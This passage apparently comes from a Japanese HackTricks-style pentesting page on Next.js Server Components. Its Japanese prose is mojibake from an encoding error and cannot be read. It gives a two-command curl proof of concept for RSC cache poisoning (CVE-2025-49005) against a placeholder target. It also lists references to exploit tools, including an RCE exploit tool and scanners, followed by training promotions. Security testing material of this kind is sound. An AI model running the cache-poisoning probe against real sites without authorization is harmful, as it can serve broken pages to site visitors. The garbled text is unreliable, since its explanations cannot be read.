E{"digest"ãå«ã500ãè¿ããŸãïŒãããæžã¿ãã«ãã¯400/200ãè¿ããŸããFlight ãã£ã³ã¯ãæ¢ã«ã¹ããªãŒãã³ã°ããŠãããšã³ããã€ã³ãïŒNext-Actionããããtext/x-componentã¬ã¹ãã³ã¹ãæ¢ãïŒããã¹ãããä¿®æ£ãããã€ããŒãã§ãªãã¬ã€ããŠãã ããã
- RSC cache poisoning (CVE-2025-49005, App Router 15.3.0â15.3.2) â æ¬ èœãã
Varyã«ããAccept: text/x-componentã¬ã¹ãã³ã¹ããã£ãã·ã¥ãããHTML ãæåŸ ãããã©ãŠã¶ã«è¿ãããå¯èœæ§ããããŸããåäžã®ããªãã³ã°ãªã¯ãšã¹ãã§ããŒãžãçã® RSC ãã€ããŒãã«çœ®ãæããããããšããããŸããPoC ã®æµãïŒ
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head
2çªç®ã®ã¬ã¹ãã³ã¹ã HTML ã®ä»£ããã« JSON Flight ããŒã¿ãè¿ãå Žåããã®ã«ãŒãã¯ãã£ãã·ã¥æ±æå¯èœã§ãããã¹ãåŸã¯ãã£ãã·ã¥ãããŒãžããŠãã ããã
åèè³æ
- Pentesting Next.js Server Actions â A Burp Extension for Hash-to-Function Mapping
- NextjsServerActionAnalyzer (Burp extension)
- CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
- CVE-2025-55182 & CVE-2025-66478 React2Shell â All You Need to Know
- 0xdf â HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
- assetnote/react2shell-scanner
- Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
- GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


